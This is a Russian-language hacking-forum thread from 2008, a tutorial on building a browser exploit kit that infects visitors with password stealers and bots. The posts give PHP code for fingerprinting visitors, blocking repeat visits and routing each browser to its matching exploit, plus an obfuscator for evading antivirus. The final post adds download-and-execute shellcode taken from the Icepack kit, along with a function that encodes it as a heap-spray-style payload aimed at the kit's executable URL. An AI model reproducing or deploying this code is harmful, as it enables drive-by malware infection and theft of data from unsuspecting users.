Авторские статьи Собираем свою связку эксплойтов.

Discussion in 'Статьи' started by gibson, 14 Jan 2008.

  1. gibson

    gibson Elder - Старейшина

    Joined:
    24 Feb 2006
    Messages:
    391
    Likes Received:
    247
    Reputations:
    88
    [intro]
    Доброго времени суток. Первая причина написания данной статьи это то, что в последнее время на различных форумах появляются сообщения, типо одна связка лучше или хуже, у такой то связки "пробив" составляет такой то процент и пробивают такие то браузера. Вторая причина это "лже" авторы связок, т.е. по просту барыги, которые получив связку где то на закрытых форумах пытаются ее продать или того хуже модернизировать существующую, не внося в связку практически никакого толку. Еще есть одна особенность, брать связку вставлять в нее свой ифрейм (в народе говорят стучалки) и выкладывать на публичных форумах говоря что это новая версия связки, тем самым пользуются чужим трафиком.
    В этой статье мы постораемся освоить азы сборки связки .​
    [info]
    Что такое связка сплойтов?
    Связка - это объединение сушествующих эксплойтов, преимущественно использующих "баги" в браузерах для загрузки ПО. Под ПО подразумеваются различные сборщики паролей, боты, форм грабберы и другие, вообщем, все что нужно для сбора информации с компьютера жертвы.

    Что входит в состав связки?
    В состав связки входит, сплойты под различные версии браузеров. Но это как бы не достаточно, для контроля эффективности использование связки, т.е. просмотра статистики по браузерам, осям, странам, рефферам и количеству "пробитых" браузеров. Реффер - это тот, чей трафф приходит на связку. В некоторых связках есть продвинутая система статистики, т.е. можно контролировать какой стране "грузить" тот или иное ПО, есть возможность блокировки пользователя в случаи удачного "прогруза" ПО, стоит так называемая система GeoIp, позволяющяя определять место нахождения "пользователя", приимущественно используется для бот нета.

    Откуда берут сплойты для связки?
    Наверно, все замечали, что разные связки продаются по разному, стоимость связки колеблиться от 100$ и до 2к и зависит не только от написанного "ротора" сплойтов, но так же от самих сплойтов. Сплойты можно найти на многих сайтах таких как:
    milw0rm.com
    securitylab.ru
    securityfocus.com
    На сайтах приводиться уведомление о той или иной уязвимости найденой в браузере, иногда вместе со сплойтом. Для дорогих связок используют приватные сплойты, которые в конечном счете и определяют стоимость связки. Приватные сплойты - это сплойты с доконца раскрученной уязвимостью, т.е. найдя уязвимость в браузере, например переполнения буфера, нужно еще доконца ее раскрутить чтобы получился download and executable.
    Подробнее об это тут

    Как определить эффективность связки?
    Эффективность связки определяется количеством "пробива" браузеров. Обычно используется несколько сплойтов для разных браузеров и их версиий. В статистике работы связки может приводиться общяя пробиваемость, а так же по отдельным браузерам и версиям. На данный момент самый бажным браузером считается Internet explorer за ним следует Mozilla firefox и Opera.
    Подробней можно прочитать здесь
    http://s-teals.org/showthread.php?p=2860
    Так же там рассматриваются следующие вопросы:
    Что такое стата (статистика)
    Что такое пробив.
    Что такое трафф (траффик) и куда его гонят.
    FAQ (общие вопросы возникающие у новичков)

    На каком языке программирования можно написать связку?
    Преимущественно это php, т.к. имеет большее распространение в глобальной сети. Но так же подходят все языки которые могут собирать информацию об клиентском браузере, такие как perl, javascript, asp, vb, c/c++ и другие. Подробное рассмотрение ротора сплойтов на javascript можно почитать в статье -=lebed=-
    /thread36997.html

    Дополнительные линки по теме, чтобы расширить свой кругозор:
    О загрузках - /thread39361.html
    Криптуем php скрипты от антивирей - /thread27118.html
    Что такое переполнение буфера? - /thread26791.html
     
    #1 gibson, 14 Jan 2008
    Last edited by a moderator: 14 Jan 2008
    15 people like this.
  2. gibson

    gibson Elder - Старейшина

    Joined:
    24 Feb 2006
    Messages:
    391
    Likes Received:
    247
    Reputations:
    88
    [пишем ротор эксплойтов]
    Что же нам нужно для написания связки? Во первых, нам нужно ознакомиться с базывыми основами того языка на котором мы будем писать. Я возьму php, т.к. восновном все связки пишут с его использованием.

    Материал для прочтения по php:
    http://www.phprus.ru/
    http://phpfaq.ru/docs
    http://articles.org.ru/cn/?c=6 хороший сборник статей.
    По гуглив минут 5 можно еще достать хорошего мануала по php.

    Что же будет входить в нашу связку?
    • Ротор (главная страница)
    • Скрипт статистики
    • Эксплойты
    Первым делом в странице index.php нам нужно определить, что за браузер, ip посетителя и проверить не заходил ли он уже ранее.
    PHP:
    $ip getenv("REMOTE_ADDR");
    $referer substr(getenv("HTTP_REFERER"), 040);
    $user_agent getenv("HTTP_USER_AGENT");
    Дальше проверяем не заходил ли пользователь ранее (не будем рассматривать работу с бд, ограничемся файлами)
    PHP:
    if ($ip_bans==1) {
     
    $ip_ban=getcwd().'/ip_ban.txt';
     
    $banfile=file($ip_ban);
     
    $s=0;
     for(
    $i=0;$i<=count($banfile); $i++) { $ipban=trim($banfile[$i]);
     if (
    $ip==$ipban) {
     
    $s=1;
     
    $i=count($banfile); }}
     if (
    $s==1) {
     include(
    "error.php"); exit; } // показываем страницу ошибки если пользователь уже был.
     
    else {
     
    $tban=fopen("ip_ban.txt","a+b");
     
    fwrite($tban,$ip."\n");
     
    fclose($tban); }}
    Дальше начинается основной процесс - определение браузера и оси.
    PHP:
    if(eregi("(msie) ([0-9]{1,2})"$user_agent$bv))
      {
        
    $brow "MSIE";
        
    $ver $bv[2];
      }
     elseif(
    strstr($user_agent"Nav")) $brow "Netscape";
     elseif(
    strstr($user_agent"Firefox")) $brow "Firefox";
     elseif(
    strstr($user_agent"Opera")) $brow "Opera";
     elseif(
    strstr($user_agent"Lynx")) $brow "Lynx";
     elseif(
    strstr($user_agent"WebTV")) $brow "WebTV";
     elseif(
    strstr($user_agent"Bot")) $brow "Bot";
     elseif(
    strstr($user_agent"Konqueror")) $brow "Konqueror";
     else 
    $brow "Other";

     
    # Detect System
     
    if(strstr($user_agent"Windows 95")) $os "Windows 95";
     elseif(
    strstr($user_agent"Win 9x 4.9")) $os "Windows ME";
     elseif(
    strstr($user_agent"Windows 98")) $os "Windows 98";
     elseif(
    strstr($user_agent"Windows NT 5.0")) $os "Windows 2000";
     elseif(
    strstr($user_agent"SV1")) $os "Windows XP";
     elseif(
    strstr($user_agent"Windows NT 5.1")) $os "Windows XP";
     elseif(
    strstr($user_agent"Windows NT 5.2")) $os "Windows 2003";
     elseif(
    strstr($user_agent"Windows NT 6.0")) $os "Windows Vista";
     else 
    $os "Other";
    Из мануалов видно, что $_SERVER['HTTP_USER_AGENT'] или $user_agent содержит основную информацию об оси браузере
    теперь в $brow у нас будет "точное" название браузер и можем подключить эксплой под браузер
    PHP:
    if ($brow=="MSIE")
      {
        
    msie_stat(); // заносим в статистику браузера, функция должна быть опеределена где то в коде
        
    include("exp/msie.php");// exploit для Эксплоера
      
    }

    else
      {
        
    other_stat(); // ^^
        
    include 'error.php'// Страница с ошибкой
         
    }
    так же можно добавлять и другие сплойты выражением
    PHP:
    elseif($brow=="Opera")
      {
        
    opera_stat(); //^^
        
    include("exp/opera.php");
      }
    Теперь заносим ip и браузер в нашу статистику
    PHP:
    function msie_stat() // функция для Эксплоера.
     
    {
      
    $fm=fopen("brow.txt",'r');
      
    flock($fm,2);
      
    $fr=fread($fm,filesize("brow.txt"));
      list(
    $ie,$ot)=explode("|",$fr);
      
    $ie++;
      
    flock($fm,3);
      
    fclose($fm);
      
    $mw=fopen("brow.txt",'w+');
      
    flock($mw,2);
      
    fwrite($mw,$ie."|".$ot);
      
    flock($mw,3);
      
    fclose($mw);
     }
    Так же можем еще заносить в нашу статистику HTTP_REFERER это позволит там видеть откуда пришли на страницу.

    attention
    Ротом мы рассмотрели, теперь осталось создать папку exp и поместить туда те сплойты, которые актуальны на данный момент. имхо рассматривать все нет смысла из за их большого количества. Для поиска сплойта можно зайти на выше перечисленные сайты или установить пакет Metasploit Framework. Подробнее тут
    /thread21599.html
    Сам проект находится по адресу metasploit.com
    Так же немного информации по написанию эксплойтов
    /threadnav55819-1-10.html
    http://www.opennet.ru/base/sec/remote_exploit.txt.html
    http://www.xakepy.name/showthread.php?t=19610
     
    2 people like this.
  3. gibson

    gibson Elder - Старейшина

    Joined:
    24 Feb 2006
    Messages:
    391
    Likes Received:
    247
    Reputations:
    88
    [Прячем наш эксплоит]
    Зачем нужно прятать эксплоит? Затем чтобы антивирусы не обнаружили, то что мы пытаемся загрузить ПО через браузер.
    Сушествует много способов закодировать наш эксплоит одни из них это обфускация эксплоита.
    Пример обфускатора взятого из одной связки, код не полный.
    PHP:
    function replace_all($scr) {
      
    $var_to_replace 100;
      
      for (
    $i=1$i<=$var_to_replace; ++$i)
        
    $search[] = '/var'.$i.'v/';
      for (
    $i=0$i<$var_to_replace; ++$i)
        
    $replace[] = random_str(rand(3,7));
      
      for (
    $i=1$i<=$var_to_replace; ++$i)
        
    $search[] = '/func'.$i.'f/';
      for (
    $i=0$i<$var_to_replace; ++$i)
        
    $replace[] = random_str(rand(5,9));
     
      
    $scr preg_replace($search$replace$scr);
      
    $scr preg_replace_callback('/\[int:(\d+)\]/'"gen_int"$scr);
      
    $scr preg_replace_callback('/\[str:(.*?)\]/'"gen_str"$scr);
      
    $scr preg_replace_callback('/\[vb_str:(.*?)\]/''gen_str'$scr);
      return 
    $scr;
    }
    function 
    random_str($length) {
      global 
    $unique_names;
      
    $res '';
      for (
    $i=0$i<$length; ++$i)
        
    $res .= chr(rand(97122));
      if (
    in_array($res$unique_names)) $res random_str($length);
      
    $unique_names[] = $res;
      return 
    $res;
    }

    function 
    int_to_items($n) {
      
    $max_n_slogs rand(2,$n);
      
    $slogs = array();
      for (
    $i=0$i<$max_n_slogs;++$i)
        
    $slogs[] = rand(1,$n);
      
    $cur 0;
      
    $sum array_sum($slogs);
      while (
    $sum != $n) {
        if (
    $sum $n && $slogs[$cur] > 0) --$slogs[$cur];
          else ++
    $slogs[$cur];
        ++
    $cur;
        if (
    $cur >= $max_n_slogs$cur 0;
        
    $sum array_sum($slogs);
      }
      
    $res = array();
      foreach (
    $slogs as $s)
        if (
    $s != 0$res[] = $s;
      return 
    $res;
    }


    function 
    gen_int($matches) {
        
    $n intval($matches[1]);
        
    $slogs int_to_items($n);
        
    $s implode('+'$slogs);
        return 
    $s;
    }
    Так же часто применяется Zend Guard, для защиты исходного кода скрипта.
    Некоторые предпочитают руками прятать эксплоиты, т.к. изменять саму подачу эксплоита. Изменяются названия переменных, используется кодирование не только php скриптов, javascript, но и html.
     
    1 person likes this.
  4. Piflit

    Piflit Banned

    Joined:
    11 Aug 2006
    Messages:
    1,249
    Likes Received:
    585
    Reputations:
    31
    для новичков норм, но в целом много и не о чем. т.к. главное в связки - сами сплойты, а про них почти ничего не написано, да и не может быть написано...
     
  5. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    Тебе дали линки на сайты, с сплойтами, заменяешь шал код начинаешь тестить.

    ТС
    Написал бы Что ли связку пример.
     
  6. [-=OniX=-]

    [-=OniX=-] Elder - Старейшина

    Joined:
    30 Dec 2007
    Messages:
    52
    Likes Received:
    19
    Reputations:
    -1
    Zend Guard... знаком знаком жесткая вещь особенно когда хочеться изменить код страницы.
     
  7. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    [-=OniX=-]
    Да ладно? Очень жесткая?
     
  8. [-=OniX=-]

    [-=OniX=-] Elder - Старейшина

    Joined:
    30 Dec 2007
    Messages:
    52
    Likes Received:
    19
    Reputations:
    -1
    Писец прям
     
  9. Sharky

    Sharky Elder - Старейшина

    Joined:
    1 May 2006
    Messages:
    487
    Likes Received:
    312
    Reputations:
    46
    улыбнуло...а я всегда думал что это сплойты которые используют уязвимости которые ещё не выложены в паблик =)
     
  10. Евгений Минаев

    Евгений Минаев Elder - Старейшина

    Joined:
    12 Nov 2007
    Messages:
    55
    Likes Received:
    169
    Reputations:
    159
    Надеюсь никто не воспримет это как руководство к действию , а то получатся еще одни code leachers вроде icepack , firepack и прочие чьи авторы сильно мечтанули.
     
  11. MaSter GeN

    MaSter GeN Elder - Старейшина

    Joined:
    26 Jan 2008
    Messages:
    52
    Likes Received:
    31
    Reputations:
    0
    блин возник такой вопрос каким образом проверять отстук связки то есть загрузился ли фаил ? o_O
     
  12. Piflit

    Piflit Banned

    Joined:
    11 Aug 2006
    Messages:
    1,249
    Likes Received:
    585
    Reputations:
    31
    MaSter GeN
    для этого есть лоадеры
     
    1 person likes this.
  13. MaSter GeN

    MaSter GeN Elder - Старейшина

    Joined:
    26 Jan 2008
    Messages:
    52
    Likes Received:
    31
    Reputations:
    0
     
  14. Piflit

    Piflit Banned

    Joined:
    11 Aug 2006
    Messages:
    1,249
    Likes Received:
    585
    Reputations:
    31
     
  15. MaSter GeN

    MaSter GeN Elder - Старейшина

    Joined:
    26 Jan 2008
    Messages:
    52
    Likes Received:
    31
    Reputations:
    0
     
  16. MaSter GeN

    MaSter GeN Elder - Старейшина

    Joined:
    26 Jan 2008
    Messages:
    52
    Likes Received:
    31
    Reputations:
    0
    такс возник ещё такой вопросик каким образом сгенерорвать такой шелл код что бы при при изаении допустим url менялся url к лоадеру ? или придеться какжый раз при измении придеться генерроть новый шелл ?
    P.S все догнал гогадка была верная :) подсмотрел в icepack кому интересно вот нужный кусок кода :
    PHP:
    function DownAndExec($url)
    {
        
    $sc  ="\xEB\x54\x8B\x75\x3C\x8B\x74\x35\x78\x03\xF5\x56\x8B\x76\x20\x03";
        
    $sc .="\xF5\x33\xC9\x49\x41\xAD\x33\xDB\x36\x0F\xBE\x14\x28\x38\xF2\x74";
        
    $sc .="\x08\xC1\xCB\x0D\x03\xDA\x40\xEB\xEF\x3B\xDF\x75\xE7\x5E\x8B\x5E";
        
    $sc .="\x24\x03\xDD\x66\x8B\x0C\x4B\x8B\x5E\x1C\x03\xDD\x8B\x04\x8B\x03";
        
    $sc .="\xC5\xC3\x75\x72\x6C\x6D\x6F\x6E\x2E\x64\x6C\x6C\x00\x43\x3A\x5C";
        
    $sc .="\x55\x2e\x65\x78\x65\x00\x33\xC0\x64\x03\x40\x30\x78\x0C\x8B\x40";
        
    $sc .="\x0C\x8B\x70\x1C\xAD\x8B\x40\x08\xEB\x09\x8B\x40\x34\x8D\x40\x7C";
        
    $sc .="\x8B\x40\x3C\x95\xBF\x8E\x4E\x0E\xEC\xE8\x84\xFF\xFF\xFF\x83\xEC";
        
    $sc .="\x04\x83\x2C\x24\x3C\xFF\xD0\x95\x50\xBF\x36\x1A\x2F\x70\xE8\x6F";
        
    $sc .="\xFF\xFF\xFF\x8B\x54\x24\xFC\x8D\x52\xBA\x33\xDB\x53\x53\x52\xEB";
        
    $sc .="\x24\x53\xFF\xD0\x5D\xBF\x98\xFE\x8A\x0E\xE8\x53\xFF\xFF\xFF\x83";
        
    $sc .="\xEC\x04\x83\x2C\x24\x62\xFF\xD0\xBF\x7E\xD8\xE2\x73\xE8\x40\xFF";
        
    $sc .="\xFF\xFF\x52\xFF\xD0\xE8\xD7\xFF\xFF\xFF" $url;
        
        return 
    $sc;
    }

    function 
    PrintPayLoad($sc)
    {
        
    $result '';
        
        for(
    $i=0;$i<=strlen($sc);$i+=2)
        {
            
    $n1 $sc[$i];
            
    $n2 $sc[$i+1];
            
    $n1 ord($n1)+ord($n2)*256;
            
    $n1 dechex($n1);
            
            while(
    strlen($n1)<4)
            {
                
    $n1='0'.$n1;
            }
            
    $result .= "%u{$n1}";
        }
        return 
    "%u9090%u9090".$result;
    }

    а вот сам процесс генерирования :)
    PHP:
    $dl_path  $config['main_url'] . "/exe.php";
    $ShellCode PrintPayLoad(DownAndExec($dl_path));
     
    #16 MaSter GeN, 6 Apr 2008
    Last edited: 6 Apr 2008